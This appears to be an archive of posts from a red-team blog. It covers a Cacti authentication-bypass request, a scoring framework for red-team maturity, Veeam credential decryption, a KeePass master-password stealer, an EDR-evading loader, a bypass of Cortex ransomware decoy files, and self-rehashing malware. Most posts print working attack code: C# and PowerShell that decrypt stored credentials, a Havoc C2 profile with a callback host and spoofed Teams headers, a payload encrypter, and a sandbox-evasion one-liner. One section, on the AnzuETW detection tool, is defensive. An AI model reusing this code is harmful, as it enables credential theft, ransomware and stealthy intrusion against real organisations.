send the following get request from attacker IP (50.116.46.139) where host_id can be bruteforced by increasing it and the oid is for the SNMP information to get:

curl 'http://target.com/cacti/remote_agent.php?action=snmpwalk &host_id=1 &oid=1.3.6.1.2.1.1'

result [Authentication bypass ]:

execution debugging step by step when the request is sent:

step A

step B

client name becomes due remote agent strip domain function:

step C

make sure that you have already configured the second poller so the condition is true, the conditions will be true and the authorization will be granted:

Impact

Successful exploitation grants unauthenticated access to the remote_agent.php,
attacker could be able to bypass authentication and attacker can execute SNMP get requests on imported devices, in general attacker can run the following functions:

polldata, runquery, ping , snmpget, snmpwalk, graph_json , discover

Chain Of Success For Red Teamer In 2026

Mon, 09 Mar 2026 00:00:00 +0000

About

In this blog, I will introduce a philosophy for red teamers that I call it Chain of Success Framework - a structured methodology designed to measure how effective and mature a red team truly is.

I developed this framework independently. The motivation was straightforward: there is no standardized measurement to evaluate how capable a red team is when it comes to conducting real-world offensive operations.

Every phase included in this framework focuses exclusively on the team’s ability to achieve impact and accurately simulate real APTs and nation-state adversaries. The higher your team scores, the more operationally capable you are.

This blog post is based on my experience and personal opinion.

Figure 1

1. Initial Access

I have divided the initial access phase into the following categories:

Zero-Day / N-Day Exploitation
Phishing
- Credential harvesting using private or heavily modified tools — must be fully undetectable.
- Remote code execution via proprietary techniques or well-known methods that are highly customized to evade detection.
OSINT — focused on leaked data and credentials for the target organization.

1.1 Zero-Day / N-Day Exploitation — Max Points: 60

Philosophy

This capability is extremely difficult for small-to-medium tier red teams. It requires a well-funded team with dedicated time and resources for vulnerability research or N-day exploit development. An N-day vulnerability refers to a flaw that has been discovered and patched but for which no public exploit exists. These are among the most impactful exploits because organizations often delay patching. Some elite research teams can rediscover a vulnerability and develop a working exploit within a single day.

At this stage, the red team should already have ready-to-deploy exploits in their arsenal.

Scoring

Criteria	Points
Exploit targets a well-known product	60
Exploit targets a less common application used by the target	50
Exploit generates some alerts	40
No exploit capability	0

Detections

When developing exploits, OPSEC must be a primary consideration. No IOCs should be generated that could alert the SOC team, unless it is absolutely necessary for the exploit to function.

Tools / Resources

A dedicated research team focused exclusively on vulnerability research and exploit development.

1.2 Phishing

1.2.1 Credential Harvesting — Max Points: 10

Philosophy

Credential harvesting should utilize in-house developed or heavily modified tools. The tooling must be fully undetectable.

Scoring

Criteria	Points
Tool is custom-built and undetected	10
Tool has known detections	0

Detections

CTI platforms, threat intelligence tools, firewalls, and email gateway security solutions (e.g., Proofpoint).

Tools / Resources

Build a custom tool capable of bypassing MFA and harvesting credentials from any target website — not limited to Microsoft or other well-known platforms.

1.2.2 Remote Code Execution — Max Points: 30

Philosophy

The red team must have the ability to gain code execution while bypassing EDRs, CTI, firewalls, IDS, IPS, NDS, and SOC monitoring. Deduct 10 points if using a well-known or commercial C2 framework is used, even if the loader itself is undetected. for example shortcut link to RCE but it is undetectable delivered as phishing.

Scoring

Criteria	Points
Code execution method is novel	30
Some EDRs can block or detect the method with special configruation	20
Uses a well-known TTP but no current detections exist	10
Detected by at least 3 well-known EDRs	0

Detections

EDRs, CTI, firewalls, IDS, IPS, NDS, SOC monitoring.

Tools / Resources

An in-house C2 framework with the capability to bypass any EDR on the market. I do not recommend purchasing commercial C2 frameworks, as most of them are heavily signatured. The time and effort required to make a commercial beacon undetectable including Cobalt Strike .

1.3 OSINT — Leaked Credentials — Max Points: 10

Philosophy

The team must have the ability to search for leaked credentials on the dark web. In most cases, if the target organization has a mature security posture, there will be minimal leaked credentials. However, overlooked third-party credential leaks are always worth investigating.

A common scenario: a user signs into their personal Gmail account on both their corporate laptop and personal device, saving credentials via Google Password Manager. If the personal device is compromised, all synced credentials — including corporate ones — are exposed.

Scoring

Criteria	Points
Access to platforms such as Flare, Resecurity, or Recorded Future	10
No access to any CTI platform	0

Detections

If the target has a robust CTI program, they may identify and remediate leaked credentials before the red team can leverage them.

Tools / Resources

Flare, Resecurity, Recorded Future (for use during red team operations).

2. Exfiltration & C2 Communication Channel — Max Points: 25

Philosophy

During a red team engagement, once you land on a machine with an EDR and successfully bypass it, the C2 will begin beaconing traffic. You must remain undetectable. In mature environments, consider setting the sleep interval to once per day — the C2 checks for new commands only once within a 24-hour period.

Scoring

Criteria	Points
C2 communication uses well-known, legitimate network traffic patterns	10
Slow command execution (high sleep intervals)	5
Utilizing target-owned domains for C2 infrastructure	10

Detections

IPS, IDS, SOC monitoring, CTI.

Tools / Resources

Custom-developed external C2 channels for your in-house C2 framework or as extensions for commercial C2 platforms.

3. Post-Exploitation — Max Points: 50

Credential Stealers

Philosophy

All of the following capabilities must be tested and confirmed to be undetected by well-known IOC signatures and EDR solutions.

Scoring

Capability	Points
Chromium-based browser credential stealers (Edge, Chrome)	10
Password vault stealers (1Password, Bitwarden, etc.)	10
Cookie stealers	10
Keyloggers	10
Hidden VNC	10

Detections

SOC monitoring, EDRs.

Tools / Resources

Custom-implemented modules within your C2 framework (in-house or commercial) with proprietary techniques.

4. Lateral Movement — Max Points: 40

Philosophy

The red team must be able to move within the target network without triggering any detections. This requires custom implementations for lateral movement techniques to minimize IOCs and avoid alerting defensive teams.

Scoring

Criteria	Points
Lateral movement technique is novel	40
Lateral movement technique is undetected	30
Using built-in or publicly known lateral movement methods	0

Detections

EDRs, SOC monitoring.

Tools / Resources

Develop a custom lateral movement technique that is undetected by modern security solutions.

5. LSASS / SAM Dump — Max Points: 60

Philosophy

In certain scenarios, the engagement reaches a dead end — no exploitable vulnerabilities and no misconfigurations available for privilege escalation. In these situations, dumping LSASS or SAM becomes essential to enable lateral movement or achieve privilege escalation.

Scoring

Criteria	Points
Using a novel TTP to dump LSASS and SAM	60
Using BYOVD (Bring Your Own Vulnerable Driver) — blind the EDR without killing it	60
Using BYOVD — killing or suspending the EDR process	40

Detections

EDRs, SOC monitoring.

Tools / Resources

Custom-developed tools leveraging novel TTPs or BYOVD techniques. The preferred approach is to blind the EDR’s ability to observe malicious activity rather than terminating the EDR process entirely.

6. Persistence — Max Points: 30

Philosophy

You need to maintain access within the network for as long as possible without any detection.

Scoring

Criteria	Points
Novel persistence technique	30
Undetectable persistence technique	20
Standard persistence that could be detected by some EDRs	0

Detections

EDRs, SOC monitoring.

Tools / Resources

Custom BOF (Beacon Object File) or plugin to execute persistence mechanisms.

Chain of Success — Red Team Maturity Scoring Table

Phase	Sub-Phase	Max Points	Elite (275–315)	Advanced (180–274)	Intermediate (80–179)	Beginner (0–79)
Initial Access	Zero-Day / N-Day (well-known product, no alerts)	60	60	50 (less common app)	40 (generates alerts)	0 (no exploit)
Initial Access	Phishing — Credential Harvesting (custom undetected tool)	10	10	10	0 (tool has detections)	0
Initial Access	Phishing — RCE (novel method, custom C2)	30	30	20 (some EDRs detect)	10 (known TTP, no detection)	0 (detected by 3+ EDRs)
Initial Access	OSINT — Leaked Credentials (CTI access)	10	10	10	10	0 (no CTI access)
Exfil & C2 Comms	Legitimate traffic + slow execution + target domains	25	25 (all three)	15 (traffic + slow exec)	10 (traffic only)	0
Post-Exploitation	Chromium browser credential stealers	10	10	10	10	0
Post-Exploitation	Password vault stealers	10	10	10	0	0
Post-Exploitation	Cookie stealers	10	10	10	10	0
Post-Exploitation	Keyloggers	10	10	10	0	0
Post-Exploitation	Hidden VNC	10	10	0	0	0
Lateral Movement	Custom lateral movement technique	40	40 (novel)	30 (undetected)	0 (built-in tools)	0
LSASS / SAM Dump	Novel TTP or BYOVD (blind EDR)	60	60 (novel TTP)	40 (BYOVD kill EDR)	0	0
Persistence	Custom persistence mechanism	30	30 (novel)	20 (undetectable)	0 (detected by EDRs)	0
	TOTAL	315	~315	~235	~90	~0

Tier Summary

Tier	Points Range	Description
Elite	275 – 315	Full zero-day capability, custom C2, novel TTPs across all phases. Nation-state or top-tier private red team level.
Advanced	180 – 274	Strong custom tooling, some novel techniques, BYOVD capability. Well-funded professional red team.
Intermediate	80 – 179	Uses known TTPs with modifications, limited zero-day or novel capability. Growing team with some custom tools.
Beginner	0 – 79	Relies on public tools and built-in OS features. Detected by most EDRs. No exploit development or custom C2.

From Veeam To Domain Admin Real World Red Team Compromise Path

Sat, 27 Dec 2025 00:00:00 +0000

From Veeam to Domain Admin: Real-World Red Team Compromise Path

this post was writen by me for WKL, you can find the original post that was writen for WKL in the following link, I have add the post to pwn tricks blog post as archive only:

https://whiteknightlabs.com/2025/12/09/from-veeam-to-domain-admin-real-world-red-team-compromise-path/

Hassan Khafaji
December 9, 2025

In many enterprise environments, backup infrastructure is treated as a “supporting system” rather than a high-value security asset. But during real red team engagements, backup servers often expose some of the most powerful credentials in the entire domain. This post walks through a real-world compromise path that started with Veeam and ended with full Domain Admin, highlighting why backup security matters and how defenders can harden their environments.

Initial Access: Landing on the Veeam Server

During a red team engagement, one of the first systems we compromised internally was the Veeam Backup & Replication server by exploiting AD misconfiguration. This host usually holds:

Service account credentials
Repository access
Backup job configurations
Encrypted domain-level credentials

Once on the server, our next focus was understanding how Veeam stores and protects sensitive information.

Writing a Custom Plugin to Decrypt Stored Credentials

We wrote a custom dot net plugin that works with our custom C2 that’s capable of decrypting the stored passwords in PostgreSQL DB. The decryption has three main steps:

Retrieve the EncryptionSalt from the registry.
Extract the encrypted credentials from the database.
Decrypt the passwords using the retrieved salt and the Windows DPAPI mechanism.

Retrieving the EncryptionSalt from the Registry

public static string GetVeeamData()
{
    string keyPath = @"SOFTWARE\Veeam\Veeam Backup and Replication\Data";
    
    using (RegistryKey baseKey = RegistryKey.OpenBaseKey(RegistryHive.LocalMachine, RegistryView.Registry64))
    using (RegistryKey key = baseKey.OpenSubKey(keyPath))
    {
        if (key == null)
            return "Key not found.";
        
        StringBuilder sb = new StringBuilder();
        foreach (string valueName in key.GetValueNames())
        {
            object value = key.GetValue(valueName);
            sb.AppendLine($"{valueName} : {value}");
        }
        
        return sb.ToString();
    }
}

public static string printhello(string name)
{
    string output = GetVeeamData();
    return output;
}

This code snippet is used to extract Veeam Backup & Replication configuration data directly from the Windows Registry. Veeam stores several internal values under the registry path:

SOFTWARE\Veeam\Veeam Backup and Replication\Data

How the function works:

Opens the Veeam Registry Path: GetVeeamData() connects to the LocalMachine hive (64-bit view) and attempts to open the Veeam Data key. If the key doesn’t exist, it returns “Key not found.”
Enumerates All Values Under that Registry Key: It loops through every value stored in the key, retrieves both the name and the stored data, and appends them to a string. This produces a readable dump of all Veeam data-related entries.
Returns the Formatted Output: The function returns all collected registry information as text, making it easy to log or display.

Result:

Get Encryption Salt from registry key

Extracting the Encrypted Credentials from the Database

Now it’s time to extract the encrypted password from the PostgreSQL database. The execute command refers to our custom C2 plugin, which allows us to run external programs with specific arguments and return their output for further processing.

execute C:/Program Files/PostgreSQL/15/bin/psql.exe -d VeeamBackup -U postgres -c “SELECT user_name,password FROM credentials”

The result of the above command:

get encrypted password from postgres db

Decrypting the Passwords Using the Retrieved Salt and the Windows DPAPI Mechanism

public static string DecryptVeeamPasswordPowershell(string context, string saltBase)
{
    using (var ps = PowerShell.Create())
    {
        string script = @"
            param($context, $saltbase)
            Add-Type -AssemblyName System.Security
            $salt = [System.Convert]::FromBase64String($saltbase)
            $data = [System.Convert]::FromBase64String($context)
            $hex = New-Object -TypeName System.Text.StringBuilder -ArgumentList ($data.Length * 2)
            foreach ($byte in $data) {
                $hex.AppendFormat('{0:x2}', $byte) > $null
            }
            $hex = $hex.ToString().Substring(74,$hex.Length-74)
            $data = New-Object -TypeName byte[] -ArgumentList ($hex.Length / 2)
            for ($i = 0; $i -lt $hex.Length; $i += 2) {
                $data[$i / 2] = [System.Convert]::ToByte($hex.Substring($i, 2), 16)
            }
            $securedPassword = [System.Convert]::ToBase64String($data)
            $data = [System.Convert]::FromBase64String($securedPassword)
            $local = [System.Security.Cryptography.DataProtectionScope]::LocalMachine
            $raw = [System.Security.Cryptography.ProtectedData]::Unprotect($data, $salt, $local)
            [System.Text.Encoding]::UTF8.GetString($raw)
        ";
        
        ps.AddScript(script).AddParameter("context", context).AddParameter("saltbase", saltBase).AddCommand("Out-String");
        
        var results = ps.Invoke();
        
        if (ps.HadErrors)
            throw new Exception(string.Join("\n", ps.Streams.Error.Select(e => e.ToString())));
        
        return string.Join("", results.Select(r => r.ToString()));
    }
}

This function demonstrates how Veeam-encrypted credentials can be programmatically decrypted by combining a C# wrapper with an embedded PowerShell script. Veeam relies on Windows DPAPI (LocalMachine scope) along with a registry-stored salt to protect stored passwords. Once you obtain the encrypted blob and the encryption salt, this function reconstructs the plaintext password.

How the function works:

1. Embedding a PowerShell Script Inside C#: The method DecryptVeeamPasswordPowerhshell creates a PowerShell instance inside C#. This allows us to execute a PowerShell script directly and receive its output as a string.

2. Preparing the Input: Two values are passed to the script:

context → the encrypted DPAPI blob from the Veeam DB

saltBase → the Base64-encoded encryption salt retrieved from the registry

Both are Base64-decoded to obtain the raw byte arrays.

3. Extracting the DPAPI Payload: Veeam wraps the actual DPAPI-protected password in a larger structure.

The script:

Converts the encoded bytes into hex
Strips the first 74 hex characters (Veeam metadata)
Converts the remaining hex back into a byte array
This produces the actual DPAPI-protected blob

4. Base64 Re-encoding and Decoding: Veeam stores the DPAPI data in another Base64 layer. The script re-encodes the cleaned payload, then decodes it again to normalize it.

5. DPAPI Decryption:

The script calls:

[System.Security.Cryptography.ProtectedData]::Unprotect( $data, $salt, [System.Security.Cryptography.DataProtectionScope]::LocalMachine )

This uses the machine’s DPAPI keys and the Veeam salt to decrypt the password.

6. Returning the Plaintext: The decrypted byte array is converted to UTF-8 text and returned to the C# function, which passes it back as a normal string.

Result:

Password successfully decrypted

One of the Domain Admin credentials was stored directly in the Veeam database, alongside privileged vSphere access. With just these two credentials, the entire environment became fully exposed, providing unrestricted visibility and control across all systems.

Recommendations

Treat Veeam and all backup platforms as tier-zero assets.
Remove domain admin accounts from backup jobs and replace them with least-privileged service accounts.
Regularly audit and rotate all stored credentials within Veeam.
Segment the backup environment from production networks wherever possible.
Protect vSphere access with MFA.

This compromise path made one thing clear: backup systems are not just supporting infrastructure, they are high-value targets that can decide the fate of the entire domain. A single exposed credential inside Veeam, combined with broad vSphere access, created a direct route to full enterprise takeover. By enforcing strict credential hygiene, reducing privilege levels, and hardening the backup environment is a must for organizations. Securing backups is securing the business.

Keepass Stealer Using Hooking

Fri, 29 Aug 2025 00:00:00 +0000

About

in this blog post we are going to build our keepass stealer that will utilize hooking technique to steal the master password, without user knowledge.

What is hooking ?

Function hooking is when a program intercepts calls to a function in order to change or monitor its behavior. It’s like putting a “middleman” between the original function and whatever is calling it, so you can see what’s happening or modify the results before they reach the program.

this technique is used by EDRs to monitor WinAPI calls but today we are utlizing it to steal the master password from keepass.

we will use library called EasyHook to Implement the Hooks.

what to hook ?

we can use tools like apimonitor to get what is the nature of WinAPIs are the application is using so we can know what to hook exactly.

RtlDecryptMemory

after using API Monitor we can notice the application is using RtlDecryptMemory (SystemFunction041) to decrypts memory contents.

function prototype :

NTSTATUS RtlDecryptMemory(
  [in, out] PVOID Memory,
  [in]      ULONG MemorySize,
  [in]      ULONG OptionFlags
);

link to microsoft docs: https://learn.microsoft.com/en-us/windows/win32/api/ntsecapi/nf-ntsecapi-rtldecryptmemory

We can notice that the function is in : Advapi32.dll based on microsoft documentation.

Implementation

you can find my full implementation in Csharp in the following github repo :

https://github.com/casp3r0x0/KeePassStealer

project structure:

test –> DLL project that will be injected in keepass.exe process (hooking mechansim)
injector –> exe project that will inject into the target process

All you need is to run injector.exe

Injector.exe plan:

find keepass process
save the dll from memory to %temp%
Inject into target process
password will be logged into %temp%/AAAA.txt
done.

Note you can kill KeePass.exe first so the user re-enter his password.

Proof

Bypass Cortexxdr And Sophos Edr Like Real Red Teamer

Sat, 24 May 2025 00:00:00 +0000

About

in this blog post we are going to build our own loader that will load C2 (beacon/demon) in memory and execute and bypass top tier EDRs like PaloAlto Cortex XDR and Sophos EDR

C2 used in the blog post is havoc C2

https://github.com/HavocFramework/Havoc/

who is the real red teamer ?

when we approuch linkedin posts about bypasses the EDRs, we need to answer the followings :

1- you bypass what ? what extacly you bypass is the callback fully functional ? can you dump lsass ? can you do a lateral movment ? and so on ? for sure you will not bypass every thing at some stages some of the actions will be logged and alerted your actions should be well thought out. One wrong move could easily undo all the work you’ve put into Red Team engagement.

2- can you operate ? executeing a reverse shell and call it a bypass it is a joke why ?
the payload will not be used in a real world becuase in a mature environment your payload will face multiple obstacles :

intial access (Email Security ,Security Policies,etc…)
threat intelligence tools that will keep hunting for your C2 server and block it before even your paylaod exeucted
proxy like skyhigh and zscaler or firewalls
SOC monitring
EDRs

bypassing the EDR is half of the story if you need to conduct full red team engagment form A to Z you need to know how to bypass all of them. which is hard for now days but still possible for sure to do by skilled red teamers.

today we are going to bypass Cortex XDR and Sophos EDR so we are targeting last stage only for sure that not an easy task but consider it one of the hardest stage.

the loader plan

the plan as following :

patch ETW –> Decrypt Shell Code using AES from resources –> unhook (ntdll.dll , kernelbase) –> ModuleStomping –> local thread hijacking to execute the payload –> done !

The Why Questions , Answers ?

why we patch ETW ?

to bypass ETW (event trace for windows) telemetry which can be used by EDRs to hunt what we are doing in the memory (please note this is half bypass for user mode only there is ETW on kernel mode also)

why we do encrypt the shellcode in the resources ?

to bypass static scanners

why we do the unhooking ?

to bypass the user mode hooks that was implemneted by the EDR, what is hooking? hooking is basically add a monitor (jmp) before calling any windows API function that will pass the arugments that already passed to the original function to EDR to be scanned before execution. it is like intercepting the calling of the function, we will bypass it today by get a fresh copy from the desk and remove the hooked ntdll.dll and kernelbase with a new fresh copy.

why Module Stomping?

Module Stomping is a code injection technique where the shellcode is injected into the .text section of a legitimate sacrificial DLL file, which is a better place to write a payload than a private committed memory region.

why local thread hijacking ?

this will create a thread with dummy function to run and suspend it and control the RIP to point to the shellcode and resume the thread execution, this may help to bypass the memory scanners becuase when a thread is created a memory scanner can be triaged by the EDR kernel mode to scan the thread.

Implementation

you can find my full implementation in Csharp for this loader in the following github repo :

https://github.com/casp3r0x0/LoaderGate

build the demon payload settings :

And :

why 60 seconds ? if sleep was interactive or less seconds this will make the shellcode in clear state in memory that will be easilly picked up using memory scanners by EDR

sleep means when payload must callback to server and check for tasks to be executed when payload sleep it will be encrypted until the next call will be decrypted and execute the task.

Havoc C2 porfile settings

below is the following Havoc c2 Profile :

Teamserver {
    Host = "0.0.0.0"
    Port = 40056

    Build {
        Compiler64 = "/usr/bin/x86_64-w64-mingw32-gcc"
        Compiler86 = "/usr/bin/i686-w64-mingw32-gcc"
        Nasm = "/usr/bin/nasm"
    }
}

Operators {
    user "casp3r0x0" {
        Password = "123"
    }
}

Listeners {
    Http {
        Name         = "teams profile - http"
        Hosts        = [
            "5pider.net", # our callback host.
        ]
        HostBind     = "0.0.0.0" # the address where the listener should bind to. 
        HostRotation = "round-robin"
        PortBind     = 443
        PortConn     = 443
        Secure       = false # for now disabled so we can see the traffic content. (but alaways enabled this!!!)
        KillDate     = "2024-01-02 12:00:00"
        UserAgent    = "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36"

        Uris = [
            "/Collector/2.0/settings/"
        ]

        Headers = [
            "Accept: json",
            "Referer: https://teams.microsoft.com/_",
            "x-ms-session-id: f73c3186-057a-d996-3b63-b6e5de6ef20c",
            "x-ms-client-type: desktop",
            "x-mx-client-version: 27/1.0.0.2021020410",
            "Accept-Encoding: gzip, deflate, br",
            "Origin: https://teams.microsoft.com"
        ]

        Response {
            Headers = [
                "Content-Type: application/json; charset=utf-8",
                "Server: Microsoft-HTTPAPI/2.0",
                "X-Content-Type-Options: nosniff",
                "x-ms-environment: North Europe-prod-3,_cnsVMSS-6_26",
                "x-ms-latency: 40018.2038",
                "Access-Control-Allow-Origin: https://teams.microsoft.com",
                "Access-Control-Allow-Credentials: true",
                "Connection: keep-alive"
            ]
        }

    }

    Smb {
        Name     = "Pivot - Smb"
        PipeName = "demon_pipe"
    }
}

# this is optional. if you dont use it you can remove it.
Service {
    Endpoint = "service-endpoint"
    Password = "service-password"
}

Demon {
    Sleep = 2
    Jitter = 20

    TrustXForwardedFor = false

    Injection {
        Spawn64 = "C:\\Windows\\System32\\Werfault.exe"
        Spawn32 = "C:\\Windows\\SysWOW64\\Werfault.exe"
    }
}

powershell encrypter it will save the payload as image.pngx you may change the IV and the Key:

# Load AES encryption functions
Add-Type -TypeDefinition @"
using System;
using System.IO;
using System.Security.Cryptography;
using System.Text;

public class AesEncryptor
{
    private static byte[] key = Encoding.UTF8.GetBytes("1234567890abcdef123656729x1zgwgH"); // 32 bytes key
    private static byte[] iv = Encoding.UTF8.GetBytes("abcdef1299536189"); // 16 bytes IV

    public static byte[] Encrypt(string filePath)
    {
        using (Aes aesAlg = Aes.Create())
        {
            aesAlg.Key = key;
            aesAlg.IV = iv;

            ICryptoTransform encryptor = aesAlg.CreateEncryptor(aesAlg.Key, aesAlg.IV);
            using (MemoryStream msEncrypt = new MemoryStream())
            {
                using (CryptoStream csEncrypt = new CryptoStream(msEncrypt, encryptor, CryptoStreamMode.Write))
                {
                    using (FileStream fsInput = new FileStream(filePath, FileMode.Open, FileAccess.Read))
                    {
                        fsInput.CopyTo(csEncrypt);
                    }
                }
                return msEncrypt.ToArray();
            }
        }
    }
}
"@ -Language CSharp

# Define file to encrypt
$filePath = ".\demon.x64.bin"  # Replace with the actual EXE filename if different
$encryptedData = [AesEncryptor]::Encrypt($filePath)

# Save the encrypted data to a new file
$encryptedFilePath = ".\image.pngx"
[IO.File]::WriteAllBytes($encryptedFilePath, $encryptedData)

Write-Host "Encryption complete. Encrypted file saved to: $encryptedFilePath"

after downloading the LoaderGate project go to :

right click on project click properties –> go to resources –> remove the old one and remove the old one from the resource folder in the soulution explorer –> drag and drope the new one that you created into the resouces settings –> click on the image.pngx from (solution explorer) –> make sure that the build action is Embedded Resources

build the solution you can find the final payload in \bin\x64\Release\laaas.exe you can use any dot net obfuscating tool.

simple sandbox bypass trick File Bloating

when the payload is not known most of the EDRs will try to upload the payload to an online sandbox, we can use technique called file File Bloating wich will make the size of the payload bigger and in this way the payload will not be uploaded to the sandbox.

below powershell oneliner to make the size of the payload +150 Mega Byte

$exe = ".\laaas.exe"; $size = 150MB; $fs = [System.IO.File]::OpenWrite($exe); $fs.SetLength($size); $fs.Close()

Proof PaloAlto Cortex XDR

whoami

screenshot

Proof Sophos EDR

whoami

screenshot

Anzu Etw Nextgeneration Of Soc Rules

Sat, 15 Mar 2025 00:00:00 +0000

About

in this blog we are going to talk about my recent project called Anzu ETW , it is a tool that I developed to allow SOC/DFIR team to create plugins that use ETW or any other telemtry to log or response against cyber threats.

what is ETW ?

Event Tracing for Windows (ETW) is a high-performance logging framework in Windows that enables real-time event collection from both user-mode applications and kernel components. It is widely used for performance monitoring, security analysis, and debugging, as it allows event providers (system processes, applications) to generate logs that can be consumed by tools like PerfView, Sysmon, and Windows Performance Analyzer. ETW is efficient, supports dynamic event filtering, and is used by EDR solutions to detect threats like process injection and API abuse. While essential for security monitoring.

why I created ANZU ETW ?

I created Anzu ETW , when I create the Cortex ransowmare protection bypass you can found here https://www.pwntricks.com/Bypass-cortex-ransomware-protection

SOC team can never develop a rule to reponse to such new threats or bypasses (new techniques) so I was think why there isn’t any tool that can let SOC/DFIR team to develop custom plugin (rules) that can utlize ETW ? and there was no tool that can provide such an ability.

the idea ?

the idea is provide a tool that can make the usage of the ETW for the SOC much more easy and flexible , the EDRs is using ETW but they didn’t provide any capabilities to SOC team to develop there own plugins (rules).

Anzu Project is solving the following issues:

SOC can not take ETW logs due the larg data it generate ,using AnzuETW you can specify exactly what log to be logged using custom plugin you can write in C#
it allow SOC team to create plugins that utlize ETW and log and reponse to the threat that including behavior analysis plugins that can be written by the SOC team
using AnzuETW can provide you logs that normaly you can not get.
using AnzuETW can let the SOC team to develop their own plugins responed to specific scenario or new technique not just rule it can be based on behavior.

installation

here you can find the Anzu ETW project developed by me in C# :

https://github.com/casp3r0x0/AnzuETW/

Anzu => AnzuETW with console window you can use this as testing
AnzuService => AnzuETW Service that can run in background same as console version
CortexRansomwareBypassDetectPlugin => custom plugin that I wrote to reponde to custom threat that bypass the ransomware protection developed by cortex using behavior analsyis (this can not be done without Anzu ^_^)
LogNetwork => plguin to log network traffic
LogProviderExample => example plugin to log every command line.
install.ps1 => to install the service for anzu

you can download the LogProviderExample as template and edit it to create your own plugin.

first you can download the AnzuService project and compile it from the source or download the compiled binary from the following link :

https://github.com/casp3r0x0/AnzuETW/tree/main/AnzuService/AnzuService/bin/x64/Debug

create folder in C:\ called anzu and copy the install.ps1 and create folder called plguins you can change this from the code and recompile also you can use share folder in the network to get the plugins from.

run the installation script that will create the anzu service for you.

now you can place the plugins in the plugins folder, please note that the plugins name is not matter, also there is no need for restart after adding a plguin should.

please note that if you develop custom plugin use the LogProviderExample project it use fody automatically to compile the project into one dll file.

copy only the following dll file to the plugins folder.

anzu will create a log source in Windows logs , SOC can retrive them into the SIEM solutions, see the following:

how the plugin works ?

you can develop the plugin just like there is no intgeration Anzu will log every console output as log and save it in the windows event logs.

you can just ask ChatGPT to create a plugin for you for example :

create a C# code that can monitor using ETW any file read for the chrome cooiks and passwords 

then you can use the LogProviderExample as template and compile the project to get your own plugin!

simple right?

create a behaviour detection for my own cortex ransomware bypass !

the detect is also simple I have created the plugin you can find it in the Anzi github repo CortexRansomwareBypassDetectPlugin project, the detect is by monitor all the UNC lookups that is done on the machine if any lookup contains users likly this a malicious no normal software is doing a dirctory listing through UNC, right ?

the plugin will alert and kill the process!

proof

Bypass Cortex Ransomware Protection

Sat, 08 Feb 2025 00:00:00 +0000

About

in this blog we are going to bypass the ransomware protection from PaloAlto Cortex EDR!

how the protection is working ?

Cortex EDR is creating a dummy (decoy) files that is not visable to the users but, when any software interact with it then the Cortex EDR will know this is ransomware attack.

for example if we list the files using the following C# code

string[] files1 = Directory.GetFiles(Directory.GetCurrentDirectory());
foreach (var file in files1 ){ 
    Console.WriteLine(file);
}
Console.ReadLine();

the result will contains files that not existed but visiable to us due the cortex EDR:

so if we interact with these files the Cortex EDR will detect the ransomware attack and block it.

The Bypass

the bypass is simple by using UNC to list the files we can detect the real files so the approuch is simple :

list all the files using UNC
list all the files normally
compare the 2 lists now we can detect the decoy files and avoid interact with them !

using UNC to list the files :

string[] files1 = Directory.GetFiles("\\\\127.0.0.1\\C$\\users\\dell\\downloads\\");
foreach (var file in files1 ){ 
    Console.WriteLine(file);
}
Console.ReadLine();

the result compare with the normal listing

putting all to gather

list files normally
list files using UNC
compare to detect the decoy and the real files
add the real files to a list
loop through the real files and encrypt them

here you can find the full implementation in C# :

https://github.com/casp3r0x0/CortexRansomBypass/

result !

before encryption:

after encryption:

all the files in current dirctory is encrypted :

proof

Polymorphic Signature Change Hash Of The Malware For Every Execution

Tue, 04 Feb 2025 00:00:00 +0000

[Polymorphic Signature] Change hash of the malware for every execution

About

in this blog we are going to talk about make the malware change its own hash by it self for every execution utilizing self deletion method .

advantages for red teamer

imagine that your malware detected in the environment for some reason for example post exploitation mistake , and you have multiple beacons runs on 5 devices if the SOC team block the malware hash and they investigated then they would find your malware very quickly which result of kick you out of the environment .

also using this method will bypass autoblock in that is implemented using SOAR.

How ?

Files in NTFS file systems can have multiple streams of data in addition to the default stream, :$DATA. :$DATA exists for every file, providing an alternative means of accessing them. as we know we can not delete a file that is currently used by a process , one way to get around this is by renaming the default data stream :$DATA to another random name that represents a new data stream.

steps to preform self deletion

Retrieve File Handle
Renaming The Data Stream
Deleting The Data Stream
Refreshing File Data Stream

implementation in C#

you can find the implementation here https://github.com/casp3r0x0/PolymorphicSignature/tree/main

steps

read the current executable as byte array
append random bytes to it
do a self deletion
write new bytes to disk (old bytes + appended byte array)
done.

using this way every time the executable executed we will see a deferent hash see the following image :